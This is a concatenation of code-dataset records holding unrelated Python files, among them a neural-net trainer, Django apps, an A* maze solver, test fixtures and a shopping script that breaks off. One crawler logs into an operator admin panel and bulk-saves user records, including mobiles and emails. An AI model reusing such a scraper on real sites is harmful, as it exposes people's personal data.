= random.randint(0, len(population) - 1)\n k = random.randint(0, len(population) - 1)\n if j != i:\n same = same + 1\n if k != i and k != j:\n same = same + 1\n\n # trialV = population[i] - cRate*(population[j] - population[k])\n trialV = list(map(lambda n: population[i][\n n] - cRate * (population[j][n] - population[k][n]), range(len(population[i]))))\n\n return trialV\n\n\ndef train(inputs, outputs, size, generations, threshold, cRate, mRate, printFile=False):\n '''The train method creates a neural netwrok from the sets of \n inputs and outputs. A population vector of size, is initialized \n with ranodm weight vectors associated with the weights between \n nodes in the neural network and will be the values being trained.\n Generations is the max number of generations allowed while \n threshold is the accuracy needed. cRate and mRate are the \n crossover and mutation rates respectively.'''\n global hero\n global OrigAnswers\n\n OrigAnswers = copy.deepcopy(outputs)\n # set up NN\n EvaluationNN = GA.create_net(inputs, outputs)\n\n # initialize population of size as random weights of NN\n population = GA.generatePopulation(EvaluationNN, inputs, outputs, size)\n\n if printFile: f = open('DE.csv', 'w')\n gen = 0\n trialV = []\n offspringV = []\n\n # evaluate the entire population\n GA.evaluate(EvaluationNN, population, inputs, outputs)\n\n # loop until a hero is found or we've reached max generations\n while gen <= generations and hero == 0:\n for i in range(size):\n # mutate with DE/x/1/bin\n trialV = mutate(population, i, mRate)\n # perform binomial crossover\n offspringV = crossover(population[i], trialV, cRate)\n # evaluation of offspring\n GA.evaluate(EvaluationNN, [offspringV], inputs, outputs)\n # selection of better vector\n if population[i][-1] > offspringV[-1]:\n population[i] = offspringV\n population = sorted(population, key=itemgetter(-1))\n # check for hero in population\n if GA.heroFound(population, threshold):\n break\n else:\n print(\"Training: {:2.2%}\".format(\n population[0][-1]), \"{:2.2%} \".format(gen / generations), end=\"\\r\")\n if printFile: f.write('%f,' % population[0][-1])\n if printFile: f.write('\\n')\n gen += 1\n # return best hero if max generations is met and hero hasn't been selected.\n # hero = sorted(population, key=itemgetter(-1))[0] # default to best in\n # population if no hero steps forward\n if printFile: f.close()\n if hero == 0:\n gen -= 1\n hero = sorted(population, key=itemgetter(-1))[0]\n EvaluationNN.SetNNWeights(hero[:-1]) # Load hero into NN, prep for usage.\n\n # Evaluate the hero on the inputs and outputs\n print('Generations: %d' % gen, ' ' * 20)\n print(\"Error Relative: {:2.5%}\".format(NN.calcRelativeError(EvaluationNN, inputs, OrigAnswers)))\n print(\"Least Squares: %d\" % NN.calcLeastSquaresError(EvaluationNN, inputs, OrigAnswers))\n print(\"Loss Squared: %d\" % NN.calcLossSquared(EvaluationNN, inputs, OrigAnswers))\n #for x in inputs:\n # EvaluationNN.SetStartingNodesValues(x)\n # EvaluationNN.CalculateNNOutputs()\n # print(x, EvaluationNN.GetNNResults(), EvaluationNN.GetNNResultsInt(), OrigAnswers[inputs.index(x)])\n print()\n\n return EvaluationNN\n\n\ndef main(inputs, outputs, size=20, generations=100, threshold=10, cRate=0.5, mRate=0.5, printFile=False):\n\n global OrigAnswer\n OrigAnswers = []\n global hero\n hero = 0\n eval_nn = train(inputs, outputs, size, generations,\n threshold, cRate, mRate)\n\nif __name__ == '__main__':\n print('Starting some DE training...\\n')\n #for i in range(1):\n # main([[2, 3], [1, 3], [3, 3]], [[101], [400], [3604]], size=20,\n # threshold=5, generations=10000, cRate=0.4, mRate=0.6, printFile=False)\n main([[1,1,1,1], [1,0,1,0], [0,0,1,1]], [[2],[1],[1]], size=20, \n threshold=5, generations=10000, cRate=0.4, mRate=0.6, printFile=False)\n","sub_path":"Project3/DE.py","file_name":"DE.py","file_ext":"py","file_size_in_byte":5956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"298958853","text":"# -*- coding:utf-8 -*-\nimport requests\nimport os\nfrom lxml import etree\nimport re\nimport sys\nimport utis\nfrom datetime import datetime\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nclass InfoCrawl():\n\n # 把登陆信息存入到thml文件中\n def recoder(self, message, path):\n \"\"\" \"\"\"\n with open(path, 'a') as f:\n f.write(message)\n f.write('\\n')\n\n # 抓取到的内容放到导入txt文件\n def write(self, path, data):\n \"\"\" \"\"\"\n with open(path, \"a\") as f1:\n f1.write(data)\n f1.write(\"\\n\")\n\n # 异常信息\n def error_write(self,data):\n with open(\"./error/error.txt\",\"a\") as f2:\n f2.write(data)\n f2.write(\"\\n\")\n\n def error_read(self,path):\n \"\"\"找到异常页的的最近数据\"\"\"\n with open(path) as f3:\n data = f3.readlines()[-1]\n return data\n\n def error_logging(self):\n \"\"\" 当发生异常的时候,把异常放到/error文档的文件中\"\"\"\n\n time_dir = os.listdir(\"./data\")\n shuzi_time = []\n # 记录 已经存储的数据中最后一条的用户id, 单独记录到错误是日志里面\n for file in time_dir:\n split_times = file.split(\"-\")\n p = datetime(int(split_times[0]),int(split_times[1]),int(split_times[2].strip(\".txt\")))\n shuzi_time.append(p)\n wenjian = str(min(shuzi_time)).strip(\"00:00:00\").strip()\n last_data = self.error_read(\"./data/{}.txt\".format(wenjian))\n last_id = last_data.split(\"+yi+\")[0]\n self.error_write(\"异常id为:{}至{}\".format(last_id,int(last_id)+20))\n\n def parse(self, data):\n \"\"\" 把获取的数据放到txe文档中\"\"\"\n try:\n tr_datas = data.xpath('//table[@id=\"ctl00_ContentPlaceHolder1_gVList\"]//tr')\n except Exception as e:\n pass\n else:\n tr_datas.pop(0)\n for tr_data in tr_datas:\n t = tr_data.xpath('.//td')\n lp = []\n for i in range(1, 10):\n result_data1s = t[i].xpath('string(.)').strip()\n if result_data1s == '':\n result_data1s = 'None'\n lp.append(result_data1s)\n resig_time = lp[-3]\n filename = './data/' + resig_time + '.txt'\n # 按照注册时间, 存储数据, 按天来存储\n print(lp)\n self.write(path=filename, data='+yi+'.join(lp))\n\n # 抓取第一页\n def one_page(self,ssionid):\n data = requests.get(url=\"http://op.i.yiche.com/OpUsers/UserAdmin.aspx\", cookies={\n \"Cookie\": utis.cookies.format(ssionid)}).text.encode(\"utf-8\")\n page__viewstate = re.findall('value=\"(.+?)\"', data)[0]\n data = etree.HTML(data, parser=etree.HTMLParser(encoding=\"utf-8\"))\n count = data.xpath('//div[@id=\"ContentPlaceHolder1_Pager\"]/a[9]/@href')[0].split(\",\")[-1].strip(\")\").strip(\"'\")\n self.parse(data)\n return count, page__viewstate\n\n # 抓取第二页以后\n def next_page(self, count, page_viewstate, ssionid):\n for i in range(2, int(count)):\n mark = True\n times = 0\n while mark:\n post_data = {\n \"__EVENTTARGET\": \"ctl00$ContentPlaceHolder1$Pager\",\n \"__EVENTARGUMENT\": i,\n \"__LASTFOCUS\": \"\",\n \"__VIEWSTATE\": page_viewstate,\n \"__VIEWSTATEGENERATOR\": \"B10745AA\",\n \"ctl00$SerchUserForm20114301$txt_UserName\": \"\",\n \"ctl00$SerchUserForm20114301$DropDownList_Province\": \"-1\",\n \"ctl00$SerchUserForm20114301$DropDownList_City\": \"-1\",\n \"ctl00$SerchUserForm20114301$txt_Mobile\": \"\",\n \"ctl00$SerchUserForm20114301$txt_Email\": \"\",\n \"ctl00$SerchUserForm20114301$txt_Uid\": \"\",\n \"ctl00$ContentPlaceHolder1$Pager_input\": i - 1,\n }\n try:\n data = requests.post(url=\"http://op.i.yiche.com/OpUsers/UserAdmin.aspx\", data=post_data, cookies={\n \"Cookie\": utis.cookies.format(ssionid)}).text.encode(\"utf-8\")\n data = etree.HTML(data, parser=etree.HTMLParser(encoding=\"utf-8\"))\n self.parse(data)\n except Exception as e:\n times += 1\n if times > 5:\n self.error_logging()\n break\n continue\n else:\n break\n\n # 抓取程序入口\n def spider(self):\n s = requests.session()\n con1 = s.get(url='http://op.bitauto.com/op/Login.aspx?ReturnUrl=%2fop%2fmain.aspx', data=utis.first_post_data)\n ssionid = re.search(\"ASP.NET_SessionId=(.+?) for\", str(con1.cookies)).group(1)\n global times\n data = utis.first_post_data\n url = 'http://op.bitauto.com/op/Login.aspx?ReturnUrl=%2fop%2fmain.aspx'\n con = s.post(url=url, data=data)\n con = con.content\n # 抓取第一页\n con1 = self.one_page(ssionid)\n # 从第二页开始抓取\n self.next_page(list(con1)[0], list(con1)[1],ssionid)\n\nif __name__ == \"__main__\":\n crawl = InfoCrawl()\n crawl.spider()","sub_path":"new_info_crawl1.py","file_name":"new_info_crawl1.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"338684841","text":"\"\"\"create susp table\n\nRevision ID: d3a5a8cd006e\nRevises: 02c3493d760d\nCreate Date: 2018-03-14 11:52:36.544338\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd3a5a8cd006e'\ndown_revision = '02c3493d760d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n 'suspensions',\n sa.Column('id', sa.Integer, primary_key=True),\n sa.Column('commonid', sa.Text),\n sa.Column('agentid', sa.Integer, nullable=False),\n sa.Column('datecreated', sa.DateTime, nullable=False),\n sa.Column('incident_type', sa.Text),\n sa.Column('blank', sa.Text),\n sa.Column('art', sa.Integer,nullable=False),\n sa.Column('art_name', sa.Text),\n sa.Column('art_section', sa.Text),\n sa.Column('disciplinary_action', sa.Text),\n sa.Column('susp_comments_sup', sa.Text),\n sa.Column('susp_comments_emp', sa.Text),\n )\n\n\ndef downgrade():\n pass\n","sub_path":"alembic/versions/d3a5a8cd006e_create_susp_table.py","file_name":"d3a5a8cd006e_create_susp_table.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"226567593","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 29 19:48:53 2018\r\n\r\n@author: kate\r\n\"\"\"\r\n\r\n##########################################\r\n#### Think Like A Computer Sciencitst ####\r\n##########################################\r\n\r\n### Chapter 4 ###\r\n\r\n## Months Of The Year ##\r\n\r\nmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', \r\n 'October', 'November', 'December']\r\n\r\nfor month in months:\r\n print(\"One of the months of the year is \" + month + \".\")","sub_path":"Chapter4/MonthsOfTheYear.py","file_name":"MonthsOfTheYear.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"197288587","text":"from django.contrib import admin\nfrom .models import ingredient, recipe, item, userInventory \n\n\nclass ingredientAdmin(admin.ModelAdmin):\n\tfieldsets = [ \n\t\t(\"Ingredient\", {\"fields\": [\"ingredientName\", \"ingredientType\", \"ingredientDescription\"]}),\n\t]\n\n\tlist_display = (\"ingredientName\",\"ingredientType\",)\n\nclass recipeAdmin(admin.ModelAdmin):\n\tfieldsets = [ \n\t\t(\"Recipe Information\", {\"fields\": [\"recipeName\", \"author\", \"date_added\", \"recipeCategory\",]}),\n\t\t(\"Ingredients\", {\"fields\": [\"ingredient\", \"ingredientAmount\", \"ingredientUnit\"]}),\n\t\t(\"Recipe Details\", {\"fields\": [\"recipeDescription\", \"instructions\"]}),\n\t\t]\n\n\treadonly_fields = (\"date_added\",)\n\n\tlist_display = (\"recipeName\",\"author\", \"date_added\",)\n\nclass itemAdmin(admin.ModelAdmin):\n\tfieldsets = [ \n\t\t(\"Item\", {\"fields\": [\"itemName\", \"itemType\", \"dateAdded\", \"expDate\", \"itemAmount\", \"itemUnit\",]}),\n\t]\n\n\tlist_display = (\"itemName\", \"itemType\",)\n\nclass userInventoryAdmin(admin.ModelAdmin): \n\tfieldsets = [ \n\t\t(\"Item\", {\"fields\": [\"item\",]}),\n\t]\n# Register your models here.\nadmin.site.register(ingredient, ingredientAdmin)\nadmin.site.register(recipe, recipeAdmin)\nadmin.site.register(item, itemAdmin)\nadmin.site.register(userInventory, userInventoryAdmin)\n","sub_path":"efridge/recipes/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"572791095","text":"#es necesario importar la liberia time para que muestre el tiempo que tardo en la ejecucion\nimport time\n\"\"\"\nDefinir la clase Node y sus propiedades\ndonde pos es una tupla con la posicion en X y en Y del objeto.\ny en padre se almacenara el padre del nodo actual.\nf = g(n) + h(n)\nh = es la distancia de Manhattan \ng = es la distancia desde el inicio al nodo actual\nse hizo Override a la funcion de __lt__ para obtener los valores mas pequeños de f durante la ejecucion\n\"\"\"\nclass Node():\n def __init__(self,pos,padre=None,f = 0,h = 0,g = 0):\n self.pos = pos\n self.x = pos[1]\n self.y = pos[0]\n self.padre = padre\n self.f = f\n self.h = h\n self.g = g\n def printNodo(self):\n print(\"posicion: \",self.pos)\n print(\"\\npadre: \",self.padre)\n print(\"\\ndistancia f(g(n)+h(n)): \",self.f)\n print(\"\\nheuristica h(n): \",self.h)\n print(\"\\ndistancia g(n): \",self.g)\n def getDistance(self):\n return self.f\n def getPos(self):\n return self.pos\n #__lt__ es el equivalente a < b\n #se implemento para comparar los nodos dentro de una lista y obtener el menor\n def __lt__(self,other):\n return self.f < other.f\n\n\"\"\"\nla funcion generaHijos recibe como parametros el nodo del cual se obtendran los hijos,\nel laberinto y la lista de nodos visitados.\nEn se comprobaran que sea un moviemiento valido las siguientes posiciones en este orden:\n1.-Arriba\n2.-Izquierda\n3.-Derecha\n4.-Abajo\n\"\"\"\ndef generaHijos(nodo,world):\n hijos = []\n #up\n if(world[nodo.y-1][nodo.x] != \"%\" ):\n node = Node((nodo.y-1,nodo.x),nodo)\n hijos.append(node)\n #left\n if(world[nodo.y][nodo.x-1] != \"%\" ):\n node = Node((nodo.y,nodo.x-1),nodo)\n hijos.append(node)\n\t#right\n if(world[nodo.y][nodo.x+1] != \"%\" ):\n node = Node((nodo.y,nodo.x+1),nodo)\n hijos.append(node)\n #down\n if(world[nodo.y+1][nodo.x] != \"%\" ):\n node = Node((nodo.y+1,nodo.x),nodo)\n hijos.append(node)\n return hijos\n\n#la funcion de distancia es utilizada para obtener las distancias de la heuristica\ndef distancia(nodo,final):\n return abs(final[1] - nodo.x ) + abs(final[0] - nodo.y)\n\nstart_time = time.time()\nlista = []\nvisitados = []\ninicio = (35,35)\nfinal = (35,1)\ntamanio = (37,37)\nmapa = \"\"\"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%-------%-%-%-----------%---%-----%-%\n%-%%%%%%%-%-%%%-%-%%%-%%%-%%%%%%%-%-%\n%-------%-------%-%-----%-----%-%---%\n%%%%%-%%%%%-%%%-%-%-%-%%%-%%%%%-%-%%%\n%---%-%-%-%---%-%-%-%---%-%---%-%---%\n%-%%%-%-%-%-%%%-%%%%%-%%%-%-%%%-%%%-%\n%-------%-----%---%---%-----%-%-%---%\n%%%-%%%%%%%%%-%%%%%%%-%%%-%%%-%-%-%-%\n%-------------%-------%-%---%-----%-%\n%-%-%%%%%-%-%%%-%-%-%%%-%-%%%-%%%-%-%\n%-%-%-----%-%-%-%-%-----%---%-%-%-%-%\n%-%-%-%%%%%%%-%-%%%%%%%%%-%%%-%-%%%-%\n%-%-%-%-----%---%-----%-----%---%---%\n%%%-%%%-%-%%%%%-%%%%%-%%%-%%%-%%%%%-%\n%-----%-%-%-----%-%-----%-%---%-%-%-%\n%-%-%-%-%-%%%-%%%-%%%-%%%-%-%-%-%-%-%\n%-%-%-%-%-----------------%-%-%-----%\n%%%-%%%%%%%-%-%-%%%%%-%%%-%-%%%-%%%%%\n%-------%-%-%-%-----%---%-----%-%---%\n%%%%%-%-%-%%%%%%%%%-%%%%%%%%%%%-%-%%%\n%---%-%-----------%-%-----%---%-%---%\n%-%%%-%%%%%-%%%%%%%%%-%%%%%-%-%-%%%-%\n%-%---%------%--------%-----%-------%\n%-%-%-%%%%%-%%%-%-%-%-%-%%%%%%%%%%%%%\n%-%-%---%-----%-%-%-%-------%---%-%-%\n%-%-%%%-%%%-%-%-%-%%%%%%%%%-%%%-%-%-%\n%-%---%-%---%-%-%---%-%---%-%-%-----%\n%-%%%-%%%-%%%%%-%%%-%-%-%%%%%-%-%%%%%\n%-------%---%-----%-%-----%---%-%---%\n%%%-%-%%%%%-%%%%%-%%%-%%%-%-%%%-%-%%%\n%-%-%-%-%-%-%-%-----%-%---%-%---%-%-%\n%-%-%%%-%-%-%-%-%%%%%%%%%-%-%-%-%-%-%\n%---%---%---%-----------------%-----%\n%-%-%-%-%%%-%%%-%%%%%%%-%%%-%%%-%%%-%\n%.%-%-%-------%---%-------%---%-%--P%\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\"\"\"\nmatriz = []\nfor n in mapa.split(\"\\n\"):\n l = []\n for m in n:\n l.append(m)\n matriz.append(l)\nstart = Node(inicio)\ncamino = []\nlista.append(start)\n\"\"\"\nInicia el ciclo:\nvisit: es una variable booleana usada para saber si un nodo fue visitado o no\nq = al que tenga menor valor F en la lista\n\n\"\"\"\nwhile(len(lista)>0):\n visit = False\n q = min(lista)\n lista.remove(q)\n #si \"q\" es la solucion se construye el camino\n if(q.getPos() == final):\n k = q\n camino.insert(0,str(k.getPos()[0])+\" \"+str(k.getPos()[1]))\n while(k != None):\n k = k.padre\n if(k != None):\n camino.insert(0,str(k.getPos()[0])+\" \"+str(k.getPos()[1]))\n break\n else:\n for n in visitados:\n if(n.getPos() == q.getPos()):\n visit = True\n if(visit == False):\n #si el nodo no ha sido visitado entonces se generan hijos y se inserta en visitados y se actualizan sus distancias\n visitados.append(q)\n hijos = generaHijos(q,matriz)\n for n in hijos:\n n.g = q.g + distancia(n,inicio)\n n.h = distancia(n,final)\n n.f = n.g + n.h\n lista.append(n)\nprint(len(camino)-1)\nfor n in camino:\n print(n)\nprint(\"--------%s seconds -----\"%(time.time() - start_time))\n","sub_path":"Aestrella.py","file_name":"Aestrella.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"491262910","text":"############\n# Standard #\n############\nimport re\nimport logging\nfrom collections import OrderedDict\n\n###############\n# Third Party #\n###############\nimport epics\nimport pytest\n\n##########\n# Module #\n##########\nfrom pcdsdevices import (ImsMotor, GateValve, Slits, Attenuator,\n PulsePickerPink, Stopper, PPSStopper, IPM, PIM, \n PIMMotor, PIMPulnixDetector, LODCM, OffsetMirror, \n PIMFee )\nfrom pcdsdevices.epics.areadetector.detectors import (FeeOpalDetector,\n PulnixDetector)\n\nlogger = logging.getLogger(__name__)\n\ntry:\n import epics\n pv = epics.PV(\"XCS:USR:MMS:01\")\n try:\n val = pv.get()\n except:\n val = None\nexcept:\n val = None\nepics_subnet = val is not None\nrequires_epics = pytest.mark.skipif(not epics_subnet,\n reason=\"Could not connect to sample PV\")\n\nclass Params:\n registry = OrderedDict()\n\n def __init__(self, name, cls, prefix, *args, **kwargs):\n self.cls = cls\n self.prefix = prefix\n self.name = name\n kwargs[\"name\"] = name\n self.args = args\n self.kwargs = kwargs\n self.registry[name] = self\n\n def __del__(self):\n del self.registry[self.name]\n\n @classmethod\n def get(cls, param=\"name\", regex=None):\n if regex is None:\n params = list(cls.registry.values())\n else:\n params = []\n for param_obj in cls.registry.values():\n if param == \"cls\":\n string = param_obj.cls.__name__\n else:\n try:\n attr = getattr(param_obj, param)\n except AttributeError:\n attr = param_obj.kwargs[param]\n string = str(attr)\n if re.search(string, regex):\n params.append(param_obj)\n return params\n\nParams(\"xcs_ims_usr32\", ImsMotor, \"XCS:USR:MMS:32\", ioc=\"IOC:XCS:USR:DUMB:IMS\")\nParams(\"xcs_lam_valve1\", GateValve, \"XCS:LAM:VGC:01\", ioc=\"XCS:R51:IOC:39\")\nParams(\"xcs_slits6\", Slits, \"XCS:SB2:DS:JAWS\", ioc=\"IOC:XCS:SB2:SLITS:IMS\")\nParams(\"pp_pink\", PulsePickerPink, \"XCS:SB2:MMS:09\", states=\"XCS:SB2:PP:Y\",\n ioc=\"XCS:IOC:PULSEPICKER:IMS\", states_ioc=\"IOC:XCS:DEVICE:STATES\")\nParams(\"xcs_att\", Attenuator, \"XCS:ATT\", n_filters=10, ioc=\"IOC:XCS:ATT\")\nParams(\"dg2_stopper\", Stopper, \"HFX:DG2:STP:01\")\nParams(\"s5_pps_stopper\", PPSStopper, \"PPS:FEH1:4:S4STPRSUM\")\nParams(\"xcs_ipm\", IPM, \"XCS:SB2:IPM6\", ioc=\"IOC:XCS:SB2:IPM06:IMS\",\n data=\"XCS:SB2:IMB:01:SUM\")\nParams(\"xcs_pim\", PIM, \"XCS:SB2:PIM6\")\nParams(\"xcs_lodcm\", LODCM, \"XCS:LODCM\", ioc=\"IOC:XCS:LODCM\")\nParams(\"fee_homs\", OffsetMirror, \"MIRR:FEE1:M1H\", 'STEP:M1H')\nParams(\"det_p3h\", FeeOpalDetector, \"CAMR:FEE1:913\")\nParams(\"det_dg3\", PIMPulnixDetector, \"HFX:DG3:CVV:01\")\nParams(\"fee_yag\", PIMFee, \"CAMR:FEE1:913\", prefix_pos=\"FEE1:P3H\", \n ioc=\"IOC:FEE1:PROFILEMON\")\nParams(\"dg3_motor\", PIMMotor, \"HFX:DG3:PIM\")\nParams(\"dg3_pim\", PIM, \"HFX:DG3:PIM\")\n\n# TODO: add xpp table when xpp comes online\n\nall_params = Params.get()\nall_labels = [p.name for p in all_params]\n\n\n@pytest.fixture(scope=\"module\",\n params=all_params,\n ids=all_labels)\ndef all_devices(request):\n cls = request.param.cls\n prefix = request.param.prefix\n args = request.param.args\n kwargs = request.param.kwargs\n return cls(prefix, *args, **kwargs)\n\n@pytest.fixture(scope=\"module\")\ndef get_m1h():\n return OffsetMirror(\"MIRR:FEE1:M1H\", 'STEP:M1H')\n\n@pytest.fixture(scope=\"module\")\ndef get_p3h_pim():\n return PIMFee(\"CAMR:FEE1:913\", prefix_pos=\"FEE1:P3H\", \n ioc=\"IOC:FEE1:PROFILEMON\")\n\n@pytest.fixture(scope=\"module\")\ndef get_p3h_det():\n return FeeOpalDetector(\"CAMR:FEE1:913\")\n\n@pytest.fixture(scope=\"module\")\ndef get_dg3_pim():\n return PIM(\"HFX:DG3:PIM\")\n\n@pytest.fixture(scope=\"module\")\ndef get_dg3_det():\n return PIMPulnixDetector(\"HFX:DG3:CVV:01\")\n\n@pytest.fixture(scope=\"module\")\ndef get_dg3_mot():\n return PIMMotor(\"HFX:DG3:PIM\")\n","sub_path":"tests_live/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228809434","text":"from django import forms\nfrom .models import UserText\n\n\nclass UserTextForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = UserText\n\t\tfields = '__all__'\n\t\twidgets = {\n 'user': forms.HiddenInput(),\n 'uuid': forms.HiddenInput(),\n 'text': forms.Textarea(attrs={'placeholder': 'Max. 10000 characters.'})\n }","sub_path":"core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"132208612","text":"from decimal import *\n\nfrom django.db.models import Max\nfrom django.template.loader import render_to_string\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom payment.models import Transaction, BillingInfo, Purchase\nfrom payment.forms import BillingInfoForm\nfrom video.models import Cart\n\nimport videostore.utils\n\ndef get_balance(user):\n\ttransaction_id = Transaction.objects.filter(user=user).aggregate(Max('id'))['id__max']\n\n\tif transaction_id:\n\t\treturn Transaction.objects.get(user=user, id=transaction_id).balance\n\telse:\n\t\treturn Decimal('0.00')\n\ndef transaction(user, amount, note, triggered_by=None):\n\told_balance = get_balance(user)\n\n\tamount = Decimal(amount).quantize(Decimal('0.01'))\n\tnew_amount = old_balance + amount\n\n\tif new_amount < 0:\n\t\tamount = -old_balance\n\t\tnew_amount = Decimal('0.00')\n\n\tt = Transaction(\n\t\tuser=user,\n\t\ttriggered_by=triggered_by,\n\t\tamount=amount,\n\t\tbalance=new_amount,\n\t\tnote=note,\n\t)\n\n\tt.save()\n\treturn True\n\ndef get_history(user):\n\t\"\"\" Returns the transaction history for the given user in reverse chronological order. \"\"\"\n\treturn Transaction.objects.filter(user=user).order_by('-id')\n\ndef billing_info_form_html(request, form=None, show_checkbox=True):\n\tuser = request.user\n\n\tif not form:\n\t\ttry:\n\t\t\tinfo = BillingInfo.objects.get(user=user)\n\t\t\tinitial = {\n\t\t\t\t'firstname': info.firstname,\n\t\t\t\t'lastname': info.lastname,\n\t\t\t\t'address': info.address,\n\t\t\t\t'city': info.city,\n\t\t\t\t'state': info.state,\n\t\t\t\t'zipcode': info.zipcode,\n\t\t\t}\n\t\texcept ObjectDoesNotExist:\n\t\t\tinitial = {}\n\n\t\tform = BillingInfoForm(initial=initial)\n\n\treturn videostore.utils.template_html(request, 'payment/snippets/billing_info_form.html', {\n\t\t'form': form,\n\t\t'show_checkbox': show_checkbox,\n\t})\n\ndef save_cart_purchase(user, cart_items):\n\t\"\"\" Saves the videos in the given cart items as that many Purchases, with the same key. Returns the key,\n\tor None if there were no items in the user's cart.\n\t\"\"\"\n\tif len(cart_items) == 0:\n\t\treturn None\n\n\t# Create a new unique key\n\tkey = videostore.utils.randomstring()\n\twhile Purchase.objects.filter(key=key).count() > 0:\n\t\tkey = videostore.utils.randomstring()\n\n\tfor item in cart_items:\n\t\tPurchase(\n\t\t\tuser=user,\n\t\t\tkey=key,\n\t\t\tvideo=item.video,\n\t\t).save()\n\n\treturn key\n\ndef videos_in_purchase(user, key):\n\t\"\"\" Given a key, returns a list of all the videos for that purchase. \"\"\"\n\tvideos = []\n\n\tpurchase = Purchase.objects.filter(user=user, key=key)\n\tfor item in purchase:\n\t\tvideos.append(item.video)\n\n\treturn videos\n\ndef delete_purchase(key):\n\t\"\"\" Removes all Purchase entries with the given key. \"\"\"\n\tPurchase.objects.filter(key=key).delete()\n","sub_path":"site/payment/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"221949323","text":"import collections\n\nclass Solution(object):\n def firstUniqChar(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n \n value_dict = collections.Counter(s)\n res = sys.maxsize\n \n for key, value in value_dict.items():\n if value == 1:\n res = min(res, s.index(key))\n \n if res == sys.maxsize:\n res = -1\n \n return res","sub_path":"practice/solution/0387_first_unique_character_in_a_string.py","file_name":"0387_first_unique_character_in_a_string.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"433501263","text":"from docx import Document, enum\nfrom sys import stdin\n\ndoc = Document()\nplace = input()\ntime = input()\np = 2\nfor fio in stdin:\n doc.add_heading('Приглашение', 0)\n doc.add_heading('Дорогая ' + fio + '!', 1)\n doc.add_paragraph('Приглашаем тебя на празднование дня 8 марта,' +\n ' которое состоится ' + time + ' ' + place)\n doc.paragraphs[p].runs[0].add_break(enum.text.WD_BREAK.PAGE)\n p += 3\ndoc.save('invitations.docx')","sub_path":"documents/invitations.py","file_name":"invitations.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"93388772","text":"\"\"\"firstProject URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.urls import path\r\nfrom hello.views import myView\r\nfrom ToDo.views import todoView, addTodo, deleteTodo\r\nfrom pizza.views import pizzaView, orderPizza\r\nfrom AgencyProfiles.views import agentView, newAgent, agentDashboard, homePage, returningAgent, login\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('sayHello/', myView),\r\n path('todo/', todoView),\r\n path('addTodo/', addTodo),\r\n path('deleteTodo//',deleteTodo),\r\n path('pizza/', pizzaView),\r\n path('orderPizza/', orderPizza),\r\n path('agent/', agentView),\r\n path('newAgent/', newAgent),\r\n path('agent//', agentDashboard),\r\n path('home/', homePage),\r\n path('login/', login),\r\n path('returningAgent/', returningAgent)\r\n\r\n]\r\n\r\n\r\n","sub_path":"firstProject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"301106756","text":"import os\nimport sys\n\nATM_core = \"%s/ATM\"% os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nprint(ATM_core)\nsys.path.append(ATM_core)\n\nfrom core import transaction\nfrom core import auth\n\n\nshopping_car = {}\nshop_list = [\n ['iphone', 1000],\n ['bike', 1500],\n ['mac_book', 8000],\n ['衣服', 500],\n ['咖啡', 300],\n ['mac_mini', 5000]\n]\npay=0\n\n# while True:\n# salary = input(\"请输入你的工资:\")\n# if salary.isdigit():\n# salary = int(salary)\n# break\n# else:\n# print(\"请输入正确的工资!\")\n@auth.login\ndef xiaofei(user):\n global pay\n transaction.make_transaction(\"consume\",user,pay)\n\nwhile True:\n print(\"shopping list\".center(30, \"-\"))\n for i, ele in enumerate(shop_list):\n print(i + 1, 